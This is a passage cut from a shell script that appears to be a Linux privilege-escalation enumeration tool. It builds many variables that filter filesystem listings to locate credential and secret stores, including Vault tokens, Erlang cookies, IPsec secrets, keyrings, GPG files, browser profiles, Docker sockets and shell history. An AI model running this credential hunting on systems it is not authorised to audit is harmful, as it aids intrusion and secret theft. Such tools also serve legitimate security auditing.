"$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E "elasticsearch\.y.*ml$" | sort | uniq | head -n 70) - PSTORAGE_VAULT_SSH_HELPER=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E "vault-ssh-helper\.hcl$" | sort | uniq | head -n 70) - PSTORAGE_VAULT_SSH_TOKEN=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E "\.vault-token$" | sort | uniq | head -n 70) - PSTORAGE_COUCHDB=$(echo -e "$FIND_DIR_ETC\n$FIND_DIR_SNAP\n$FIND_DIR_MEDIA\n$FIND_DIR_SBIN\n$FIND_DIR_VAR\n$FIND_DIR_BIN\n$FIND_DIR_MNT\n$FIND_DIR_CDROM\n$FIND_DIR_USR\n$FIND_DIR_SRV\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_OPT\n$FIND_DIR_TMP\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E "couchdb$" | sort | uniq | head -n 70) - PSTORAGE_REDIS=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E "redis\.conf$" | sort | uniq | head -n 70) - PSTORAGE_MOSQUITTO=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E "mosquitto\.conf$" | sort | uniq | head -n 70) - PSTORAGE_NEO4J=$(echo -e "$FIND_DIR_ETC\n$FIND_DIR_SNAP\n$FIND_DIR_MEDIA\n$FIND_DIR_SBIN\n$FIND_DIR_VAR\n$FIND_DIR_BIN\n$FIND_DIR_MNT\n$FIND_DIR_CDROM\n$FIND_DIR_USR\n$FIND_DIR_SRV\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_OPT\n$FIND_DIR_TMP\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E "neo4j$" | sort | uniq | head -n 70) - PSTORAGE_CLOUD_INIT=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E "cloud\.cfg$" | sort | uniq | head -n 70) - PSTORAGE_ERLANG=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E "\.erlang\.cookie$" | sort | uniq | head -n 70) - PSTORAGE_GMV_AUTH=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E "gvm-tools\.conf$" | sort | uniq | head -n 70) - PSTORAGE_IPSEC=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E "ipsec\.secrets$|ipsec\.conf$" | sort | uniq | head -n 70) - PSTORAGE_IRSSI=$(echo -e "$FIND_DIR_ETC\n$FIND_DIR_SNAP\n$FIND_DIR_MEDIA\n$FIND_DIR_SBIN\n$FIND_DIR_VAR\n$FIND_DIR_BIN\n$FIND_DIR_MNT\n$FIND_DIR_CDROM\n$FIND_DIR_USR\n$FIND_DIR_SRV\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_OPT\n$FIND_DIR_TMP\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E "\.irssi$" | sort | uniq | head -n 70) - PSTORAGE_KEYRING=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_DIR_ETC\n$FIND_DIR_SNAP\n$FIND_DIR_MEDIA\n$FIND_DIR_SBIN\n$FIND_DIR_VAR\n$FIND_DIR_BIN\n$FIND_DIR_MNT\n$FIND_DIR_CDROM\n$FIND_DIR_USR\n$FIND_DIR_SRV\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_OPT\n$FIND_DIR_TMP\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E "keyrings$|.*\.keyring$|.*\.keystore$|.*\.jks$" | sort | uniq | head -n 70) - PSTORAGE_FILEZILLA=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_DIR_ETC\n$FIND_DIR_SNAP\n$FIND_DIR_MEDIA\n$FIND_DIR_SBIN\n$FIND_DIR_VAR\n$FIND_DIR_BIN\n$FIND_DIR_MNT\n$FIND_DIR_CDROM\n$FIND_DIR_USR\n$FIND_DIR_SRV\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_OPT\n$FIND_DIR_TMP\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E "filezilla$|filezilla\.xml$|recentservers\.xml$" | sort | uniq | head -n 70) - PSTORAGE_BACKUP_MANAGER=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E "storage\.php$|database\.php$" | sort | uniq | head -n 70) - PSTORAGE_SPLUNK=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E "passwd$" | sort | uniq | head -n 70) - PSTORAGE_GITLAB=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -v -E '/lib' | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E "secrets\.yml$|gitlab\.yml$|gitlab\.rm$" | sort | uniq | head -n 70) - PSTORAGE_PGP_GPG=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -v -E 'README.gnupg' | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E ".*\.pgp$|.*\.gpg$|.*\.gnupg$" | sort | uniq | head -n 70) - PSTORAGE_CACHE_VI=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E ".*\.swp$|.*\.viminfo$" | sort | uniq | head -n 70) - PSTORAGE_DOCKER=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E "docker\.socket$|docker\.sock$|Dockerfile$|docker-compose\.yml$|dockershim\.sock$|containerd\.sock$|crio\.sock$|frakti\.sock$|rktlet\.sock$" | sort | uniq | head -n 70) - PSTORAGE_FIREFOX=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^" | grep -E "\.mozilla$|Firefox$" | sort | uniq | head -n 70) - PSTORAGE_CHROME=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^" | grep -E "google-chrome$|Chrome$" | sort | uniq | head -n 70) - PSTORAGE_OPERA=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^" | grep -E "com\.operasoftware\.Opera$" | sort | uniq | head -n 70) - PSTORAGE_SAFARI=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^" | grep -E "Safari$" | sort | uniq | head -n 70) - PSTORAGE_AUTOLOGIN=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E "autologin$|autologin\.conf$" | sort | uniq | head -n 70) - PSTORAGE_FASTCGI=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E "fastcgi_params$" | sort | uniq | head -n 70) - PSTORAGE_SNMP=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E "snmpd\.conf$" | sort | uniq | head -n 70) - PSTORAGE_PYPIRC=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E "\.pypirc$" | sort | uniq | head -n 70) - PSTORAGE_POSTFIX=$(echo -e "$FIND_DIR_ETC\n$FIND_DIR_SNAP\n$FIND_DIR_MEDIA\n$FIND_DIR_SBIN\n$FIND_DIR_VAR\n$FIND_DIR_BIN\n$FIND_DIR_MNT\n$FIND_DIR_CDROM\n$FIND_DIR_USR\n$FIND_DIR_SRV\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_OPT\n$FIND_DIR_TMP\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E "postfix$" | sort | uniq | head -n 70) - PSTORAGE_CLOUDFLARE=$(echo -e "$FIND_DIR_ETC\n$FIND_DIR_SNAP\n$FIND_DIR_MEDIA\n$FIND_DIR_SBIN\n$FIND_DIR_VAR\n$FIND_DIR_BIN\n$FIND_DIR_MNT\n$FIND_DIR_CDROM\n$FIND_DIR_USR\n$FIND_DIR_SRV\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_OPT\n$FIND_DIR_TMP\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E "\.cloudflared$" | sort | uniq | head -n 70) - PSTORAGE_HISTORY=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E ".*_history.*$" | sort | uniq | head -n 70) - PSTORAGE_HTTP_CONF=$(echo -e 